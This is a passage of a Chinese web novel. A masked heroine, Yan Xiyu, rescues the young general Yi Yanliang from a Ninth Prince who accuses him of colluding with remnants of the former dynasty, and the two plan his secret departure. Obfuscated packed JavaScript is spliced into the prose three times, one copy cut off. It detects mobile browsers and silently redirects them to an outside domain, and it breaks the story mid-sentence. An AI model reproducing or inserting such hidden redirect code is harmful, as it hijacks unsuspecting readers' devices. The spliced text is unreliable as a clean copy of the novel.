倒下的将士越来越多,那些原本站在后面的士兵也全都暴露了出来。 一队士兵正瞪大着眼睛四处寻找,却没想到眼前一花,脸戴面具的人已经站在了他们的面前! “娘欸!!” 几人吓得直往后缩,手中的刀剑都差点握不住。 燕惜妤刚抬起手,在看见他们身上的装束时却顿了一下。 这些人和之前那些想围攻她的士兵身上穿的衣服不一样。 她不动,缩成一团的士兵们也不敢动,本就紧张的他们此时更是连大气都不敢出。 “你们和他们穿的不一样?”燕惜妤粗着嗓子问,“你们不是九皇子从皇都带来的人?” 对面几个士兵彼此看看,有个胆大的颤着声说:“不不不是,我们是乌州守军,我们和羿家军同在乌州。” “乌州的兵,”燕惜妤的身影一闪,人已经消失在他们面前,“躲好了,别让我再看到你们。” 她一离开,那些人瞬间就向后跑:“快躲起来!” 打不过,实在是打不过! 大家都是大承的士兵,他们乌州守军也算是羿家军的一分子,他们……听命羿家影卫也不是叛变,而且少将军也在,有事少将军担着! 保命要紧,快跑! 看着四处躲藏的士兵,又惊又怒的九皇子没忍住破口大骂:“快给本皇子拦下此人!” 他不开口还好,一开口,那似罗刹又似煞神的羿家影卫倏地就站在了他的面前! 九皇子被吓得瞬间僵住了身体! 对方仿佛在看着他,他别说跑了,就连呼吸都下意识屏住了。 “快保护殿下!”高将军不愧是皇都四守将之一,这时横剑立在九皇子身前,不看眼前的影卫,却是看向不远处的羿衍椋,“少将军,你当真要纵容你羿家影卫以下犯上吗?” 羿衍椋冷漠的声音响起:“九皇子殿下不是早就说我里通外敌以下犯上吗?” 九皇子僵着身体盯着眼前的影卫,他明明无法看清对方的眼神,却偏偏感受到了对方身上的杀意! 纵使他生在皇家,身为皇子,可若是他此时死在这里,别说和太子争皇位,就连他身为皇子本该拥有的富贵荣华也没了! 九皇子不甘心,却只能憋屈地咬牙道:“……少将军与前朝余孽勾结一事或另有隐情,待少将军与本皇子一同回皇都后,本皇子定会禀明父皇查清真相。” 一听“前朝余孽”四个字,燕惜妤就生气。 但她知道不能杀了这九皇子,在外人看来,现在的她是羿家影卫,她若杀了九皇子,羿家可就要遭殃了。 “少废话!”燕惜妤粗着嗓子吼,“钥匙呢?” 她这一声吼,吓得四周的人瞬间又往后退了好几步,也吓得九皇子不敢再张嘴。 胆小鬼。 燕惜妤“啧”了一声,眼角余光忽然扫见了盛樗容。 这不就是让丁和来找她救阿七的阿盛吗? “盛公子,钥匙在哪?” 燕惜妤认出了盛樗容,盛樗容自然也认出了燕惜妤。 毕竟这世上再也没有人会拥有像她这般天下无敌的武功了。 盛樗容没说话,只是扫了高将军一眼。 燕惜妤立即盯了过去:“钥匙在你身上?拿出来。” 高将军没吭声,只侧头看向九皇子。 燕惜妤缓缓侧头也看了过来。 九皇子脸皮抖了抖:“把钥匙给他。” “是,”高将军一手握剑,另一只手从怀中掏出了两把铜钥匙递了出去。 燕惜妤从他手中接过钥匙,转身向羿衍椋走去。 看见高将军把钥匙给了出去,四周的人也不知道为什么忽然就都在心里松了口气。 尤其在看见那似罗刹又似煞神的羿家影卫是从脚走着路的,大家瞬间觉得之前罩在他们头顶上的死亡之感骤然消失了。 “这高将军真没用,都已经背对着他了,竟然不敢在背后偷袭,”站在丁和身边的一个羿家影卫忽然说,“该不是吓破胆了吧?” 羿衍椋冷冷地扫了这人一眼,然后温声道:“阿罗,过来。” 燕惜妤倏地就站在了他面前:“你看,钥匙我拿到了。” 羿衍椋点头:“多谢,辛苦你了。” 丁和连忙走过来说:“我来帮少将军打开镣铐。” 燕惜妤把钥匙递给他,很快锁着羿衍椋手脚的镣铐就被打开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039153|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是不是很重?”燕惜妤从丁和手中接过那镣铐,确实很重,怪不得会把阿七的手腕给压出血。 燕惜妤一生气,拿着镣铐的手一用力,“嚓”“嚓”“嚓”接连几声,那重有百斤的镣铐瞬间就碎成了铁粉,被风一吹,飘散在空中。 “!!!”之前还说高将军吓破胆不敢在背后偷袭的羿家影卫顿时倒吸了一口晾气,小声嘀咕道,“怪不得高旗不敢在背后下手,这人肯收手已然谢天谢地,谁还敢再惹怒……” “闭嘴!”羿衍椋忽然冷斥出声,“再敢胡言鞭打八十!” 羿家军惩罚军中将士的是鬼鞭,一鞭下去,皮开肉绽。 所有的羿家影卫倏地绷紧了身体,一个个还不忘斜着眼睛去瞪刚才说话的人。 “为什么打八十?”燕惜妤忽然说,“凑够整数打一百吧,少几十总觉得不自在。” “好,听阿罗的,”羿衍椋温和地点头,“累了吧?你会回马车歇息,我待会再过去。” 燕惜妤想到马车里还有罗采春,连忙说:“马车我要睡,你睡别的地方。” 羿衍椋笑了笑:“好,我问九皇子要顶营帐,饿不饿?我让人给你准备些吃的?” “好啊,”燕惜妤点点头,然后转身走向马车。 羿衍椋看着她进了马车,这才对丁和说:“备营帐,再去要两桶热水,一桶送去马车里,你亲自去厨帐盯着,给她选些菜肴送过去。” “是,”丁和连忙去准备。 很快营帐就借了过来,羿家影卫守在帐前,羿衍椋独自在里面洗漱。 马车里,罗采春也帮着用泡了热水的布巾帮燕惜妤敷脸上的红痕。 “那面具太大了,都把你的脸压肿了,”罗采春心疼地看着燕惜妤的额头和鼻梁,“耳朵也被束带勒红了,也不知会不会留疤。” “我又不常带它,出马车才戴,”燕惜妤笑着说,“有三姐为我敷脸,我一点都不痛。” “你呀,”罗采春摇摇头,拿下布巾重新浸回热水里。 这时丁和拎着个食盒在马车外面说:“阿罗,少将军命我送来些吃食,俩位趁热吃。” 人多嘴杂,他也不敢再喊什么“燕姑娘”了,只能听少将军的喊“阿罗”,就连把食盒递进马车时,都注意着避开旁人的视线。 “有劳了,多谢,”燕惜妤道了谢,将食盒打开,“三姐快看,有鸭肉!” “你吃,我帮你敷一下耳朵,”罗采春没去看食盒,只拧干布巾又准备为燕惜妤敷耳朵。 燕惜妤举着筷子说:“一起吃嘛。” “你快吃,等会是不是还要戴面具出去?”罗采春一猜一个准,“我迟些再吃,你留些给我。” “好吧,”燕惜妤只能自己先吃。 等她吃完,果然又戴上面具出了马车。 马车就停在借来的营帐前,她一出来,就和守马车和守萤帐的羿家影卫来了个面对面。 “你叫阿罗?”对方问她,“教你武功的是谁?” 燕惜妤还没回答,就听羿衍椋在营帐中喊她:“阿罗,进来。” 那人立即退后一步。 燕惜妤侧身走进营帐,就见羿衍椋已经换了衣裳,重新束了发髻,一下子又变回了她认识的那个俊逸的阿七。 “阿七,”燕惜妤走到他身边,看见矮案上摆着些饭食,但好像没怎么动过,“怎么不吃,这些菜不好吃吗?” “饿了一日,我缓着吃,”羿衍椋给她搬了蒲团,“坐下说。” “你的手脚没事吧?”燕惜妤坐在他身边,见他手腕上缠了布条,看着是已经给伤口上了药,“痛吗?” “不痛,”羿衍椋摇头,“我身为羿家军将士,受这点小伤不会觉得痛。” 胡说,被针扎一下都会痛。 说不痛,不过是骗人骗己。 燕惜妤剜他一眼,但没再说这个问题,伤已经受了,她就算问再多,伤口该痛还得痛着,问一句就可以了,再问就该惹人烦了。 看她不说话,羿衍椋也沉默了一会儿才说:“你明日回边地去。” 不能再留她在这里,这是九皇子的车马营帐,四周全是九皇子的人,她不能被别人认出来。 “我答应丁和要帮你,”燕惜妤却摇头,“他说你若能比九皇子先去到皇都,对你对羿家对羿家军才最有利。” “是这样没错,”羿衍椋也不瞒她,方才丁和已经和他说了,他没办法再瞒她,“但这事不容易,我只要离开一步,九皇子立刻就会发现。” 他若私自离开,九皇子就又有针对羿家的理由了。 燕惜妤得意地神秘一笑:“我有办法帮你金蝉脱壳。” 100. 第100章 羿衍椋还是摇头:“那也不可,我若离开,羿家军必将大乱。” 他这次被九皇子抓走,乱的只是驻扎在乌州边地的守军,可若他逃走,乱的将是整个大承的羿家军。 他不能置羿家、置羿家军于不顾。 “我有办法的,”明明是在萤帐中,燕惜妤却像做贼似的左右看了看,这才凑近羿衍椋耳边轻声说,“我是说你先偷偷地去皇都,我留下光明正大地代替你去皇都……” 她话还没说完,羿衍椋的脸色骤然就变了:“你绝对不可以去皇都!” 燕惜妤一愣,伸手将挡着脸的面具推上头顶,用疑惑的眼神看着他:“为什么我不能去皇都?” 今日发生这么大的事,他的情绪看着并没有太大的变化,除了刚才在外面见那些人要冲上来抓她时,表现出了明显的愤怒,然后就是这时候。 “你的脸……”羿衍椋却是心疼她脸上被压出来的肿痕。 “我的脸没事,”燕惜妤看着羿衍椋,“阿七,我为什么不能去皇都?你能告诉我原因吗?” “我不需要你为我涉险,”羿衍椋像是也发觉了他自己过于激动了,借给自己整理袍摆时避开了燕惜妤的眼神,“这是我羿家和九皇子之间的事,与你无关,明日一早你便回乌州。” “怎么会和我无关呢?”燕惜妤继续盯着他,“那什么九皇子抓走你的借口,是不是就是因为我这个所谓的前朝余孽?” 羿衍椋没说话。 燕惜妤撇了撇去:“你不用骗我了,在你被抓之前,那什么车大人去边地找过我……” 她这话一出口,羿衍椋立即看向她:“车文成去找过你?” “对啊,他找过我,他先是确认有我这个姓燕的人,然后你才被抓走的,”燕惜妤说着说着又有点生气了,“我当时就猜到他不是冲我,就是冲羿家军,但我没想到你是羿家军的少将军。” 她要是知道阿七就是羿家军的少将军,她一定把那什么车大人先给绑了! “抱歉,是我连累了你,”羿衍椋愧疚地说,“我若不同你一道去边地,你也不会被九皇子的人盯上。” “这和你无关,”燕惜妤摇摇头,“只要我姓燕,就一定会有人注意到我,只要我继续待在边地,就一定会有人故意将我和你们羿家绑在一起。” “不是的,”羿衍椋皱着眉说,“此事主要原因在我羿家军,就算你不来边地,九皇子仍然会找到办法来为难我,除了太子,任何一位皇子若想登上皇位,都会视我羿家为眼中钉。” 燕惜妤眼神坚定地注视着羿衍椋:“可你这次被抓就是我,他们可以算计我,但他们不能拿我来算计你,你本来就没做错任何事!” 阿七是羿家少将军,他为护大承百姓的安宁,带领着羿家军镇守在边地,就算不念他有功劳,也不能故意来陷害他啊,他明明什么都没做。 羿衍椋也很固执:“可你更没有错!” 她一个姑娘独自在外,难道就因为她姓燕,所以就要承受一些莫须有的罪名和苦难吗? 她只要回边地,就能过着自由的日子,而他在去皇都之后,就能把这一切事情都处理好,不会再让任何人因为她的姓氏而来为难她。 燕惜妤挺直腰杆看着羿衍椋,大有“你不答应我就一直盯着你”的架势。 羿衍椋皱着眉,最后像是下定决心似地侧过头,语气冷冰冰地说:“当初在渡河上知道你姓燕……我是故意跟着你的,你该知道我那是别有用心。” 燕惜妤愣愣地看着羿衍椋,没想到在这个时候他会忽然说起这件事情。 也不知道为什么,她心里莫名其妙地泛起阵阵涟漪。 阿七此时说出这件事,只是想故意惹怒她,这样她就不会再想着要帮他了。 他想让她离开,他想保护她。 “我知道啊,我又没怪你,”燕惜妤鼓了鼓腮,“其实当时你和阿盛要跟着我,我也是故意让你们跟的,因为不知道你们接近我的目的,所以就想着把你们留在眼皮底下看着,你们要是敢偷搞事情,我就扔你们去喂鱼。” 当时她就是这么想的,所以她和阿七是半斤八两,谁也不能说谁。 羿衍椋转回头看着她,也不知道为什么忽然就笑了:“江里的鱼怕是等不到我和阿盛去给它们当鱼食了。” 燕惜妤也跟着笑:“害人之心我不会有,但防人之心我还是有的,你也别小瞧了我,我还是能做些大事的。” 羿衍椋表情温柔地看着她:“我知道,燕姑娘聪慧过人。” “所以啊,我这次真的能帮你,”燕惜妤顺着话头说,“你如果不让我帮你,我心里难受。” 在看见阿七被锁在牢车里时,她的心就开始难受,现在想起来,她也还难受。 心里难受,面上也就流露了出来,燕惜妤一脸憋屈地说:“不行,我要去把九皇子也给打一顿!” 说着就要站起来,羿衍椋连忙拉住她的手腕:“现在还不能打他,你……不能去皇都。” 燕惜妤趁机问他:“为什么我不能去皇都?你不说清楚,我反而更想去看看。” 羿衍椋在心里叹了口气,这才说:“皇都里住着一位前朝皇族的燕氏族人,他从被带到皇都就再也没能离开。” 大承江山是属于陛下的,陛下若不想让一人离开皇都,那人就永远也离不开。 燕惜妤对这个倒还是有点兴趣,毕竟当朝廷被灭时,皇室成员若想活命,绝大多数人都会选择隐姓埋名,在性命攸关之时,姓氏或许也不那么重要了。 留得青山在不怕没柴烧,要是全族都被灭了,那仇该由谁去报? 所以她相信前朝燕姓的皇族肯定还有后嗣活着,只不过都潜形匿迹藏起来了。 但皇都却住着一位姓氏族人,还是住在天子脚下…… “前朝若是没被灭,关在皇都的那燕氏族人……”燕惜妤对羿衍椋递了个眼色,“现在该是什么身份?” 羿衍椋早知道她聪慧,但没想到一句没头没尾的话,她就猜到了关键。 “若前朝没被灭,他该是坐在龙椅的那位,”羿衍椋也不避讳在燕惜妤面前说出这句话,他相信她,“九皇子已知晓你的身手,你若去了皇都,陛下必会防备你。” “他难道也会把我关起来? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045691|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”燕惜妤扬了扬眉,“还是把我杀了?” 羿衍椋抿了抿嘴唇:“陛下虽忧国恤民,但他却把前朝燕氏一直关在皇都。” 他没明说,但燕惜妤懂了,她若去了皇都,当今皇帝估计会杀了她。 那个人之所以一直被关着,是因为皇帝能关得了他,皇帝知道那人逃不出来。 而她不可能被关起来,所以皇帝会杀了她以绝后患。 “嘶!那我还真不能去皇都,”燕惜妤缩了缩脖子,“我只要留在有羿家军驻守的边地,皇帝就算怀疑我,也会因为太子妃而相信你们羿家,可我若是去了皇都,那我这个燕姓的前朝余孽就是去救那一直被关着的燕氏族人的……” “别胡说!”羿衍椋忽然打断她,“你虽然姓燕,但你不是前朝余孽,你和被关在皇都的那位燕姓之人没有任何关系,你只要不去皇都,陛下不会怀疑你的。” “你说的这么肯定,”燕惜妤有点儿好奇地问,“是不是因为关在皇都的燕姓之人是前朝皇族的嫡系后裔,而那后裔却没有儿女后代?” 羿衍椋叹息出声:“燕惜妤的聪慧当真是世间少有。” “这很容易就猜到啊,”燕惜妤耸耸肩,“你说只关了一个姓燕的人,他若是有儿女后代,总归也会姓燕……民间百姓的儿女可以跟着母亲姓吗?” “若和离,或许可以,”羿衍椋说,“但这些我知之甚少。” 他一个整日待在军营中的人,身边的将士成了亲的都对家人很好,确实不了解这方面的问题。 “先不说这个,”燕惜妤挥了一下手,“说回你的事,你是不想让我去皇都,才不愿意让我帮你,对吧?” “是,”羿衍椋点点头,“你绝不能去皇都。” 燕惜妤想了一会儿,眯着眼睛说:“那我不去皇都,你明日悄悄离开,我替你拖住他们十日,十日之后我也悄悄回边地,然后留丁和他们护着马车跟着去皇都,但你要在丁和他们进皇都前回来,否则丁和他们就危险了。” 羿衍椋皱着眉摇头:“不行,你如何能拖住他们?我若不在,九皇子的人立即就会发现?” “试试不就知道了,”燕惜妤看着他,很认真地说,“你要是不信,那你多留一日,看看我想出来的办法,要是你觉得我的办法不错,那你后日再离开。” 羿衍椋看着她一脸的坚持,只能无奈点头:“好,但若是不行,你立即回边地,不能去皇都,也不要再管我的事。” “那是当然,我若帮不了你,我马上就走,”燕惜妤很有自知之明,“我要是跟着你去皇都,对你对我都不是好事,我没那么笨。” 羿衍椋温柔地看着她,在心里想:还说你不笨,不笨的人,不会来帮我。 “怎么这样看我?”燕惜妤缩了缩脖子,“你觉得那什么九皇子等下会来找你吗?” 羿衍椋收回自己的目光:“会。”他被从牢车里救出来,就是打了顾鸣觉的脸,他今夜一定会来找他。 “那你快点吃,吃完了去找马车找我,”燕惜妤站了起来,将推上了头顶的面具又移回到脸上,“一定要在他找你之前去马车找我。” 101. 第101章 结果燕惜妤前脚刚回到马车,羿衍椋后脚就到了。 “你饭吃了吗?”燕惜妤把车帘掀开看着他低声问,“不吃饱你怎么逃?” “我待会回去再吃些,”羿衍椋弯腰进了马车,看见罗采春时很明显怔了一下,他可能想不明白燕惜妤来救他怎么还把她三姐也给带来了,“罗姑娘。” “少将军,”罗采春自从知道阿七就是羿家少将军后,整个人都很紧张,是燕惜妤安抚她,她这时才能假装镇定地坐着。 燕惜妤怕罗采春在马车里受到惊吓会弄出太大的声音,从而引起外面那些人的注意,所以她一直挨着罗采春坐着,还搂着对方的手臂:“三姐,他是少将军,也是阿七,咱们和他都这么熟了,你别和他太生分。” 罗采春有些拘谨地坐着,听燕惜妤这么说,也只是沉默地抿着嘴唇点点头。 她是从教坊司逃跑出来的穷苦百姓,打从心底害怕这些朝廷官员。 燕惜妤也不能勉强她把羿衍椋再当成之前的阿七,只好继续挽着她的手臂和羿衍椋说话:“阿七,丁和还有他带来的那些人都能相信吗?” 她边说,边把戴在脸上的面具又给移到了头顶上。 “可信,”羿衍椋点头,“他们都是从羿家军出来的。” “那阿盛呢?”燕惜妤又问,“他也值得相信吗?” 羿衍椋又点点头,不过却又说:“他会回边地去的。” “那什么九皇子不是带着他一起回皇都?”燕惜妤想起丁和说过的话,“会同意他回边地吗?” 羿衍椋没过多解释,只说:“他自己会想办法。” 燕惜妤点点头,想了想觉得没什么遗漏的了,这才说:“那我们就等着他们找过来。” 话音刚落,马车外就响起了丁和的声音:“少将军,林内侍求见。” 羿衍椋刚想张嘴,坐他对面的燕惜妤却倏地放开挽住罗采春的手,一下子就扑过来捂住了他的口鼻。 燕惜妤赤手空拳明明似能有破天地之力,但她的掌心却很柔软细腻,一点都不像习武之人该有的手。 羿衍椋脑整个人也不知道在想什么,眼神飘忽着,最后落在离他极近的燕惜妤脸上。 “嘘!别说话!”燕惜妤一手捂着羿衍椋的嘴巴,另一只手的食指竖在她自己唇前,贴近他耳边轻声问,“林内侍是九皇子的人?” 燕惜妤的气息绕在羿衍椋的耳侧,令他慢了一霎才轻轻点了点头:“唔。” 被捂着嘴,他的声音模糊不清,但他点头,燕惜妤就明白了。 燕惜妤又轻声问:“你不要出去,也不要见任何人,你就在马车里拒绝他,能拒绝吧?” 羿衍椋也点点头:“唔。” 然后他看着燕惜妤。 燕惜妤这才松开了捂着羿衍椋口鼻的手,就在羿衍椋张嘴想说话时,燕惜妤却一下子又把手捂了过来。 “唔?”羿衍椋不解地看着她。 “你把你准备拒绝他的话先小声对我三姐说一遍,”燕惜妤又凑在他耳侧轻声说,“你小声说给我三姐听。” 羿衍椋不明白为什么要先给罗姑娘听,但燕惜妤让他这样做,他便点点头,然后看着燕惜妤。 “忘了,”燕惜妤被他一看,才发现自己还捂着他的嘴,连忙松开手轻声说,“你小声说给我三姐听。” 羿衍椋于是看着罗采春压低声音说:“被囚于牢车之事令我自觉颜面扫地,劳林内侍替我回禀九皇子殿下,羿衍椋这一路羞于见人。” 他才刚说完,燕惜妤立即又伸手捂住了他的嘴,然后看着罗采春轻声问:“三姐,可以吗?” 罗采春郑重地点点头,在羿衍椋不解的目光中,张嘴说话:“被囚于牢车之事令我自觉颜面扫地,劳林内侍替我回禀九皇子殿下,羿衍椋这一路羞于见人。” 她每说一个字,羿衍椋的眼睛就缓缓睁大一分,等她说完,羿衍椋眼中已全是惊讶之色。 罗采春用他的声音说出了他方才说过的话,罗采春竟然懂口技! 如若不是他自己亲眼所见,同时也亲耳听闻,他完全想不到有人能说出和他一模一样的声音! 连他都分辨不出声音的真伪,隔着马车只听声音的人就更不会怀疑。 就听马车外响起丁和的声音:“林内侍,您也听见了,我们少将军不愿意见任何人,还请您能在殿下面前替我们少将军美言两句。” 林内侍心中很是忐忑,但仍然尖着嗓子说:“九皇子殿下要见少将军,少将军拒而不见,恐怕不好吧?” 燕惜妤原本还得意地看着羿衍椋惊讶罗采春的口技,这时忽然将面具戴回脸上,低声说了句:“阿七,我出去揍人,你等会回营帐,觉得差不多了就出声喊我停手,但你别出去,就在营帐里喊我。” “你……”羿衍椋刚想拦下她,但他才刚抬起手,眼前坐着的燕惜妤已经消失了,只留下微微飘荡着的车帘。 紧接着,马车外就传来了林内侍的惨叫声。 但他才“啊”了一声,就又响起了燕惜妤粗着嗓子的说话声:“你别出声,不要吵到我家少将军歇息。” 林内侍倒在地上,痛的全身直抽搐,却愣是紧咬着牙不敢再发出一声。 九皇子派他来传话时,他心里就害怕会被这煞神如此对待,没想到竟成了真! 痛死他了! 跟着他过来的士兵们你看看我,我看看你,一时之间不知道该怎么办。 打吧,打不过。跑吧,也跑不过。 只希望这煞神打了林内侍就不要再打他们了! 偏偏那戴着面具的煞神一抬头,向他们看了过来:“你们跟着他过来吵我们少将军。” 他们嘴一张,刚想说“没有”,人却已经被抛飞了出去! “咚”“咚”“咚”几声,燕惜妤甩出去几个人,然后向着旁边愣神的士兵走来。 “你们是不是也想吵我家少将军歇息?” “咚”一声,飞出去一个人。 “没……”,“咚”一声,又飞出去一个人。 “殿下……”,“咚”“咚”两声,一手一个全给甩飞了出去。 很快,痛呼声又响个不停。 九皇子营帐中自然也听见这些惨叫声,九皇子冷着脸坐在主位上,车大人坐于下首,高将军站在帐中,三人面色都很难看。 高将军忍了又忍,终于忍不住“铮”一声拔出了腰间佩刀:“我……” “高将军,”车大人却忽然叫住了他,“将军的主要职责是保护殿下的安危,你若伤在此人手中,殿下回皇都的路上又该由谁护卫?” 高将军咬着牙说:“可外面那些将士也是同我一起保护殿下……” “高将军且稍安勿躁,”车大人又打断他,然后对着九皇子殿下拱手道,“殿下,那羿衍椋和盛樗容是好友,您可命盛樗容去见羿衍椋,叫他试探羿衍椋是何想法。” “樗容?”九皇子想到他利用表弟陷害羿衍椋一事,冷声道,“他怕是不会帮我。” 车大人劝说:“殿下,且先听他如何说。” 九皇子也不想找盛樗容帮忙,但他知道高将军带来的将士才是保护他一路回皇都的人。 若这些将士都伤在此处,那这路上要是他那些兄弟派人来杀了他,父皇若找不到真凶,顶多是让出事之地的官员陪葬,他也就白白送了一条性命。 他咬牙道:“把樗容叫来。” 盛樗容被人带进皇子帐中,躬身道:“盛樗容见过九皇子殿下。” “樗容表弟,你怎的又不喊表兄了?”九皇子对他招手,“你来坐。” 盛樗容拱手道:“殿下有话不妨直说。” 九皇子眼神变了变,但仍然语气和善道:“这一日来,你也未曾和羿少将军说过话,你若有话要同他说,便可去寻他。” “回殿下,我没话同少将军说,”盛樗容低头拱手说,“我害他被囚于牢车,我也不敢去见他。” “你!”九皇子一拍矮案,想生气,但营帐外响来的惨叫声却又让他生生压住了脾气,“表弟,表兄知道你怪表兄,待表兄回到皇都,定会查清此事,也定会让你和衍椋重修旧好。” “他不会信我了,”盛樗容垂着头说,“我害他被囚于牢车一路示众,他恨我,不会再信我。” 九皇子听着营帐外传来的声声恨叫,在心里对羿衍椋恨极,对盛樗容也恼恨,但他却不能在这时冲盛樗容发火,他需要盛樗容帮他。 “樗容表弟,或许少将军会体谅你的苦衷,你若不去寻他,难道从此要与他形同陌路?”九皇子温声劝说,“你且去寻他说明白,他定会相信你。” “殿下要我做什么?”盛樗容忽然抬头说,“殿下要我去同衍椋说什么?” 九皇子被他识破,脸上有些挂不住,但站在营帐前的车文成一直在看着这边,他若想稳住这些追随他的人,今夜必须要说服盛樗容帮他。 “外头那羿家影卫行事过于嚣张,你去叫羿少将军让他的人消停些,”九皇子说,“若真将此事闹大,他羿衍椋怕也是讨不了好。” 盛樗容垂着眼想了想,才拱手说:“殿下,我可以试着去劝羿少将军,但无论此事成与不成,天亮后我要回泰县。” “你不回皇都?”九皇子皱眉看他,“你母亲在皇都等你。” “难道殿下真想让我这个害少将军被抓的凶手押他回皇都?”盛樗容脸上露出愤怒,“若不是殿下让我去见他,我此生都不敢再见他。” 九皇子有气也只能往自己肚子里吞,谁叫他确实利用盛樗容陷害了羿衍椋,这事是他一手所做,他最知情。 “行,你去吧,”他挥了挥手,像是很无奈地说,“姨母让我带你回皇都,你既然不愿回去,我自会去给姨母讨饶。” “谢殿下,”盛樗容再次拱手,然后转身大步往帐外走去。 九皇子在他身后看着他的背影,眼神充满阴晦。 盛樗容才不管九皇子是怎么想的,他心情舒畅地去找羿衍椋。 而羿衍椋在营帐中像是在等他。 “七哥,你没事吧?”盛樗容一进到帐中,就盯着羿衍椋手腕上缠着的布条看,“都怪我,没事找你借什么兵书!” “与你何干?”羿衍椋瞥他一眼,“九皇子想针对我,你就算做事再妥当,也妨不住的。” “我算是看透了!”盛樗容叹息一声,在羿衍椋身旁坐下,“我明日一早回泰县,你这一路去皇都要当心。” “嗯,”羿衍椋点点头,“知道原路返回泰县,你也算是吃一亏长一智了。” “就是连累了你,”盛樗容失落地说,“顾鸣觉利用我陷害你,顾鸣端也会同他一样利用我,等你由皇都回来,我就从乌州离开,绝不再给他们任何利用我陷害你的机会。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050227|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 羿衍椋笑笑:“他们若想利用你陷害我,你人在与不在乌州,都不重要。” 盛樗容瞬间就哑口无言了。 他发现羿衍椋说得是对的:“那我……”还回不回皇都了? “这事等我回来再说,”羿衍椋看着他,“九皇子让你来做什么?” “还能做什么,”盛樗容不屑地说,“他叫我让你喊她住手。” 他边说,边侧头往帐外瞥了一眼,然后感慨道:“我只知她身手了得,却不知她竟能在百人阵中来去自如,怪不得当初你在半道遇见她会怀疑她,就她这身手,想闯你羿家军营怕也是随进随出。” 羿衍椋摇摇头,无奈地说:“对方人越多,反而更能显现出她的身手,若只是对敌一人,常人见了也不会像此时这般的害怕。” 今夜的燕惜妤,在常人看来,是煞神,也是罗刹,他在这营帐中坐着,也能听见外面的将士在喊“煞神”“罗刹”。 “确实让人害怕,”盛樗容说这话时却是笑着的,“可我又不像那些找死的人会去招惹她,我同她是好友,她可不会揍我。” 他这话说完,忽然感觉到羿衍椋在盯着自己:“七哥?”怎么脸色说变就变了? 羿衍椋半敛着眼睫看着他:“她确实待你比我更好些。” “误会!天大的误会!”盛樗容连忙喊冤,“她都为你闯九皇子的营帐了,从她过来到现在,她可一眼也没正眼瞧过我!” “是吗?”羿衍椋想了想,发现确实是如盛樗容说的这样,甚至刚才燕惜妤还问盛樗容可不可信。 想到这里,羿衍椋的脸色顿时又好看了些。 他想到燕惜妤,就想到今夜她为自己做的事,想到方才在马车里她捂住他口鼻的手。 再看看盛樗容那因受惊吓过度而苍白的脸,忍不住说:“其实九皇子利用你来陷害我,我若是不想被他抓走,我也有办法能脱身。” “那你为什么还跟他走?!还平白受了这一日的罪!”盛樗容震惊地看着他,“你堂堂羿家少将军,被人知道你坐牢车一路游街示众很光彩吗?!” “九皇子抓我的罪状是勾结前朝余孽,我若不跟他走,他定会去边地找她的麻烦,”羿衍椋眼眸中阴戾一闪而过,“方才她告知我,那车文成曾去边地找过她。” “什么?!”盛樗容瞪大了眼睛,“九皇子……他不仅是打算栽赃诬蔑你,还打算把你勾结前朝的罪状给坐实了?!” 燕惜妤在乌州落了户籍,户籍上她就是姓燕,这是无法更改的事实。 虽然她不是嫡系血脉,可哪怕是旁□□也是族亲,因为皇族同血脉无论是兄弟、侄子,甚至叔伯,都可以继承皇位。 以燕惜妤的身手,她就算是女子,也能在年轻的皇帝身边当摄政王。 九皇子若说燕惜妤是前朝皇族的人,估计没人会不信。 盛樗容越想越后怕。 “他既然敢带人来抓我,自然是想好了万全之策,”这时营帐外又传来惨叫声,羿衍椋冷笑了一声,“但他千算万算,还是算漏了她的身手啊。” “活该!”盛樗容恨恨地说,“我倒是希望你当时没跟他走,然后他带人去边地……” 他们若是在边地惹怒了燕惜妤…… 好可惜啊,七哥不会让那种事情发生。 盛樗容悄悄看向羿衍椋,果然发现对方正冷冷地瞥着自己。 他连忙说:“七哥!七哥别气!我知道你不想让她卷进这些事情里来。” 否则他七哥也不会毫不反抗地被九皇子抓走,还被关在牢车里游街示众了一整日。 想他七哥堂堂羿家少将军,为了一个女子,竟舍得放弃他自己的声誉和名望! 羿衍椋叹气,心中却泛着丝丝惬意:“可她还是来救我了。” 盛樗容想到是他叫丁和去找的燕惜妤,再一想到燕惜妤现在这么一闹,她若真去了皇都,就算她不是前朝皇族嫡系后裔,陛下也一定不会放过她,她哪怕武功再厉害,也不可能以一人之力对抗整个大承王朝! 他越想越慌:“七哥,那这下该怎么办?可不能让她去皇都啊!” “我知道,”羿衍椋垂了垂眼,“我去皇都,她回边地。” 